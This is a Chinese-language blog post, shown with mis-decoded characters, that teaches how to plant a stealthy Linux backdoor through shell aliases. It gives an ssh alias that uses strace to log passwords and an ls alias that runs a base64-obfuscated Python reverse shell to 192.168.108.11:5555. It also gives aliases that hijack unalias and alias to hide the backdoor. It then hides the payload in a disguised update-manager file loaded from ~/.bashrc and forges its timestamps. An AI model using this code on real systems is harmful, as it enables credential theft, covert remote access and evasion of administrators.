0x01 alias 簡介alias 命令的功能是為命令設(shè)置別名,比如我想讓我每次輸入 ls 的時(shí)候都實(shí)現(xiàn) ls -al 那怎么實(shí)現(xiàn)呢? alias ls = 'ls -al'
對于通過ssh遠(yuǎn)程登錄的用戶來說,每次設(shè)置只在本次連接過程中有效,下次再進(jìn)行登錄的時(shí)候就不會(huì)這樣了 0x02 alias 使用方法系統(tǒng)中存在一些默認(rèn)的別名,直接輸入 alias 或者 alias -p 可以進(jìn)行顯示
Ubuntu Server 16.04 結(jié)果如下: 這里有我們熟悉的 ll 命令,這個(gè)命令的真實(shí)含義其實(shí)是 ls -alF 可以看到我們可以直接執(zhí)行 ll 來短縮我們的命令長度 如果我們只想實(shí)現(xiàn)查看一個(gè)別名的含義,可以直接使用 alias cmd ,我們以ll命令為例
設(shè)置一個(gè)別名 alias getpwd = 'cat /etc/passwd'
刪除一個(gè)別名 unalias getpwd
此時(shí)我產(chǎn)生了一個(gè)疑問,系統(tǒng)默認(rèn)的這些個(gè)別名是在哪里設(shè)置的呢?alias 是不是有一個(gè)統(tǒng)一的配置文件呢? 抱著這樣的疑問,我想看一看alias 相關(guān)的文件夾以及文件 可以看到,似乎alias并不是一個(gè)在環(huán)境變量中的可執(zhí)行文件 也不是通過 dpkg 安裝的,那么只能上大招了 可有發(fā)現(xiàn)有兩個(gè)名字為 alias 的文件 這個(gè)文件似乎不是alias 的配置文件,看下一個(gè) 這個(gè)也不是,百度google了一番也沒有找到有文件說存在alias 的配置文件 那么問題來了,默認(rèn)的這些個(gè)別名設(shè)置是怎么來的呢? 猜也知道對吧,肯定在系統(tǒng)啟動(dòng)默認(rèn)加載的配置文件里,比如 /etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout /etc/profile 【系統(tǒng)級】Linux是一個(gè)多用戶操作系統(tǒng)。用戶登錄或切換(即Login shell 啟動(dòng))時(shí)都有一個(gè)專用的運(yùn)行環(huán)境,但首先執(zhí)行 /etc/profile /etc/bashrc 【系統(tǒng)級】在 bash shell 打開時(shí)運(yùn)行,修改該文件配置的環(huán)境變量將會(huì)影響所有用戶使用的bash shell ~/.bashrc 【用戶級】當(dāng)用戶登錄時(shí)以及每次打開新的shell時(shí)該文件都將被讀取,不推薦在這里配置用戶專用的環(huán)境變量,因?yàn)槊块_一個(gè)shell,該文件都會(huì)被讀取一次,效率肯定受影響 ~/.bash_profile && ~./bash_login 【用戶級】 如果有其中的一個(gè)文件存在的話, 當(dāng)啟動(dòng)的是一個(gè)登錄shell時(shí),Bash 會(huì)執(zhí)行該文件而不會(huì)執(zhí)行~/.profile 如果兩個(gè)文件都存在的話,Bash 將會(huì)優(yōu)先執(zhí)行~/.bash_profile 而不是~/.bash_login
~/.bash_logout 【用戶級】當(dāng)每次退出系統(tǒng)(退出bash shell)時(shí)執(zhí)行該文件
參考 https://www.cnblogs.com/lovychen/p/10911699.html 查看 ~/.bashrc 配置文件 逮到了! 那root用戶會(huì)不會(huì)存在 .bashrc 文件呢? 也是存在的,所以這些都是'藏污納垢'的好地方 0x03 alias 后門分析&制作當(dāng)前用戶目錄下.bashrc alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
上面是我搜索了10多篇文章,發(fā)現(xiàn)的同一條后門命令,既然有前輩寫了,咱們就分析分析 上面后門中,其實(shí) alias 只是做了一個(gè)小技巧,而不是主要的后門命令,含義也就是將當(dāng)前用戶的ssh命令修改為 這里主要涉及到 strace 這個(gè)命令,以及一些它的參數(shù), strace 是什么命令?
我了解了一下,發(fā)現(xiàn) strace 是一個(gè)巨牛的工具,堪稱神奇,簡單來說它是一個(gè)調(diào)試工具,實(shí)際來說,他能把你這個(gè)程序在干啥整得明明白白 strace能做什么?
它可以基于特定的系統(tǒng)調(diào)用或系統(tǒng)調(diào)用組進(jìn)行過濾 它可以通過統(tǒng)計(jì)特定系統(tǒng)調(diào)用的使用次數(shù),所花費(fèi)的時(shí)間,以及成功和錯(cuò)誤的數(shù)量來分析系統(tǒng)調(diào)用的使用。 它跟蹤發(fā)送到進(jìn)程的信號(hào)。 可以通過pid附加到任何正在運(yùn)行的進(jìn)程。 調(diào)試性能問題,查看系統(tǒng)調(diào)用的頻率,找出耗時(shí)的程序段 查看程序讀取的是哪些文件從而定位比如配置文件加載錯(cuò)誤問題 查看某個(gè)php腳本長時(shí)間運(yùn)行“假死”情況 當(dāng)程序出現(xiàn)“Out of memory”時(shí)被系統(tǒng)發(fā)出的SIGKILL信息所kill 另外因?yàn)閟trace拿到的是系統(tǒng)調(diào)用相關(guān)信息,一般也即是IO操作信息,這個(gè)對于排查比如cpu占用100%問題是無能為力的。這個(gè)時(shí)候就可以使用GDB工具了。
參考:https://www.jianshu.com/p/33521124bdf2 等我研究到系統(tǒng)內(nèi)核,進(jìn)程間通信等等再把這個(gè)工具詳細(xì)寫一寫,當(dāng)然了,也可能想不開哪天就寫了 接下來我們分解一下上面的命令 strace -o /tmp/sshpwd-xxx.log 其中xxx為 `date '+%d%h%m%s'` 把strace的輸出單獨(dú)寫到指定的文件 /tmp/sshpwd-xxx.log ,這個(gè)沒啥好說的 -e read,write,connect Linux內(nèi)核目前有300多個(gè)系統(tǒng)調(diào)用,詳細(xì)的列表可以通過syscalls手冊頁查看。這些系統(tǒng)調(diào)用主要分為幾類: 文件和設(shè)備訪問類 比如open/close/read/write/chmod等 進(jìn)程管理類 fork/clone/execve/exit/getpid等 信號(hào)類 signal/sigaction/kill 等 內(nèi)存管理 brk/mmap/mlock等 進(jìn)程間通信IPC shmget/semget * 信號(hào)量,共享內(nèi)存,消息隊(duì)列等 網(wǎng)絡(luò)通信 socket/connect/sendto/sendmsg 等 其他
這里的含義就是監(jiān)聽read,write,connect 函數(shù),說白了,把讀寫遠(yuǎn)程連接都給監(jiān)聽了,當(dāng)然大家可以監(jiān)聽更多 -s2048 ssh -s2048 我查詢了一下,并沒有發(fā)現(xiàn)有這個(gè)參數(shù),我很好奇,這到底是什么參數(shù)... 后來我明白了,這個(gè)應(yīng)該是 -s 2048 中間的空格因?yàn)榈谝粋€(gè)寫文章的人給寫錯(cuò)了,導(dǎo)致大家都整錯(cuò)了,實(shí)際上并不是這么回事 -s 2048 是設(shè)置打印字符串的長度,默認(rèn)是32
所以整個(gè)命令應(yīng)該修改為 alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'
在 Ubuntu Server 16.04 中進(jìn)行測試 現(xiàn)在我們在這臺(tái)服務(wù)器上遠(yuǎn)程連接其他服務(wù)器 可以看到,我們嘗試用root/123456 登錄192.168.1.46 ,之后服務(wù)器的tmp目錄中生成了 sshpwd-xxxx文件,我們看一下其中的內(nèi)容 可以看到我們之前提交的數(shù)據(jù),同時(shí)呢,這個(gè)文件返回的內(nèi)容也比較多,只要改一個(gè)好點(diǎn)的名字可能會(huì)讓安全管理人員認(rèn)為是正常的文件 這種后門的場景就是用戶登錄到這臺(tái)主機(jī)上后,使用這臺(tái)主機(jī)的ssh去遠(yuǎn)程連接其他主機(jī)才能引發(fā)后門,記錄明文密碼,這局限性太大了,頂多可以作為一個(gè)后門輔助。
alias 可以設(shè)置別名,那么有幾個(gè)疑問 如果一個(gè)可執(zhí)行文件放在環(huán)境變量path下,同時(shí)設(shè)置一個(gè)與這個(gè)文件名相同的別名,看看哪一個(gè)會(huì)執(zhí)行 可以看到,設(shè)置別名后,我們執(zhí)行test94 的時(shí)候會(huì)執(zhí)行 cat /etc/issue ,這個(gè)時(shí)候我們就可以知道了,我們可以通過別名的方式劫持默認(rèn)的命令,比如ls,而且不需要替換原文件。 可以直接執(zhí)行,現(xiàn)在我們來設(shè)置一個(gè)別名,將 test94 設(shè)置為 'cat /etc/issue' 我們向 /usr/bin/ 下寫入一個(gè) test94 文件,文件內(nèi)容為echo 'test94' ,并且給予執(zhí)行權(quán)限
alias 設(shè)置別名的時(shí)候可以使用絕對路徑嗎? 可以看到,絕對路徑是支持的,那這樣的話我們嘗試劫持一下 ls 命令 - 劫持成功 此時(shí) ls 還是原來正常的ls ,此時(shí)我們設(shè)置別名 alias ls='/usr/local/games/ls' 可以看到,現(xiàn)在狀態(tài) ls 命令已經(jīng)被替換為了 echo 'test94' ,這里我們還沒有設(shè)置別名,因?yàn)?/usr/bin/ 比 /bin/ 目錄的優(yōu)先級高,所以被替換了,這不好,我們將自定義的ls換一個(gè)目錄 /usr/local/games 執(zhí)行l(wèi)s 創(chuàng)建 /usr/bin/ls 內(nèi)容為 echo 'test94',并且賦予執(zhí)行權(quán)限 查看 ls 絕對路徑
alias 在設(shè)置 ls='xxxx' 后,后續(xù)設(shè)置的別名引用ls,是引用的別名還是可執(zhí)行文件 可以看到,此時(shí)的 ls 是帶有顏色的,而且別名 ls 的值為 ls --color=auto 此時(shí)可以看到,執(zhí)行可執(zhí)行文件就沒有顏色了 可以看到,此時(shí)執(zhí)行 lstest 顯示的文件名稱是有顏色的 得出結(jié)論: 設(shè)置別名和設(shè)置變量很相似,是可以進(jìn)行傳遞的 設(shè)置 alias lstest='ls' 執(zhí)行可執(zhí)行文件 /bin/ls 查看當(dāng)前的ls別名以及執(zhí)行
alias 想要使用參數(shù)怎么整 alias ls='ls --color=auto;pwd' 這么寫默認(rèn)參數(shù)會(huì)傳遞給pwd,那pwd哪管你啥參數(shù) 所以這樣的話一下就會(huì)被管理員發(fā)現(xiàn),怎么整呢,把我們的參數(shù)傳遞給ls不就行了嗎? 這也不行呀,查資料才知道,alias 不支持參數(shù),函數(shù)才支持參數(shù)
用了好幾天時(shí)間吭哧癟肚想出來的一個(gè)后門
就使用 alias + python3 劫持 ls alias ls='alerts(){ ls $* --color=auto;python3 -c 'import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDguMTEiLCA1NTU1KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))';};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != 'ls' ]&&[ $* != 'alias' ]&&[ $* != 'unalias' ]; then unalias $*;else echo '-bash: unalias: ${*}: not found';fi;else echo 'unalias: usage: unalias [-a] name [name ...]';fi;};alerts'
alias alias='alerts(){ alias '$@' | grep -v unalias | sed 's/alerts.*lambda.*/ls --color=auto'\''/';};alerts'
實(shí)現(xiàn)的效果是: 劫持了 ls 命令,輸入 ls 后可以執(zhí)行我們的反彈 shell 的命令 ls 命令執(zhí)行完全正常,用戶無感知 劫持了 unalias 命令,使用戶無法直接通過 unalias 來解除我們的 ls 別名 劫持了 alias 命令,使用戶查看別名列表的時(shí)候發(fā)現(xiàn) ls 一直是 ls='ls --color=auto' 在用戶退出ssh的時(shí)候才會(huì)反彈shell(這個(gè)我表示不理解,好像情況也不是很統(tǒng)一,可能跟我給了服務(wù)器單核有關(guān)系)
其實(shí)里面還涉及了一些知識(shí)點(diǎn),比如:算了,你們自己去嘗試把命令解密開,自己看吧,沒啥難的 0x04 后門隱藏整的似乎挺好,但是怎么隱藏起來,并且能夠讓所有登錄的人直接就中招呢??? 肯定是離不開開機(jī)自啟的程序或者配置文件了 上面我們提到了幾個(gè)對吧,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout 但是我覺得都不好,因?yàn)檫@些大家都知道了,應(yīng)急響應(yīng)恨不得上來就檢查這些內(nèi)容呢 我選擇 ~/.bash_aliases ,這個(gè)文件呢,默認(rèn)不會(huì)有,但是在 ~/.bashrc 中默認(rèn)加載 可以看到,我在 helper 的目錄中新建了一個(gè) .bash_aliases 的文件,在文件中寫入 alias ls='ls -al' 重新登錄后,執(zhí)行 ls 的時(shí)候已經(jīng)是執(zhí)行 ls -al 了 此時(shí),我們使用 root 權(quán)限進(jìn)行 ls 的時(shí)候,執(zhí)行的就是 ls ,因?yàn)樵?root 的家目錄下沒有 .bash_aliases 文件 我們看一下 ~/.bashrc 文件中是如何載入 .bash_aliases 的 可以看到,現(xiàn)在 Ubuntu 16.04 中已經(jīng)是默認(rèn)加載這個(gè)文件了
我知道你在想什么,哈哈哈哈哈,我也尋思呢,我給換一個(gè)更加有迷惑性的目錄和文件名,之后設(shè)置加載,豈不美哉? 經(jīng)過我的一番尋找,加上自己所剩無幾的經(jīng)驗(yàn),終于找到了一個(gè)目錄 /etc/update-manager/ ,這個(gè)目錄我跟你說,我一眼就相中了,這簡直就是為后門設(shè)計(jì)的呀 這個(gè)目錄里的 release-update 就是我新建的配置文件,看不出來吧,是不是很和諧,我都羨慕我自己了,我在這說啥呢,我的天 那好,我們把配置插進(jìn) ~/.bashrc 你看,我還像模像樣的寫了兩行注釋,偽裝一下 ,記得把之前的 ~/.bash_aliases 刪除掉 此時(shí),我們推出 ssh 連接,之后再次連接,我們測試一下: 可以看到,我們的別名已經(jīng)執(zhí)行了, ls='ls -al'
現(xiàn)在我們要讓這個(gè)后門更加完善 在 /etc/update-manager/release-update 中寫入我們的 alias 后門 修改我們的文件的MAC時(shí)間,模擬成這個(gè)目錄的正常文件模擬得更真實(shí)一些 現(xiàn)在可以看到,MAC時(shí)間一看就能看出來是新建的文件,用 stat 來查看更加清晰 修改后門文件的時(shí)間與同目錄名稱相似的文件的 MAC 時(shí)間相同 touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update
可以看到,除了change 時(shí)間,其他的都一樣了 change time 表示最后一次對文件屬性改變的時(shí)間,包括權(quán)限,大小,屬性等等。我沒有找到能夠任意修改文件的change time 的方法,所以上面的就是能做的最大了 完成了,走一下試試 完美?。?!
|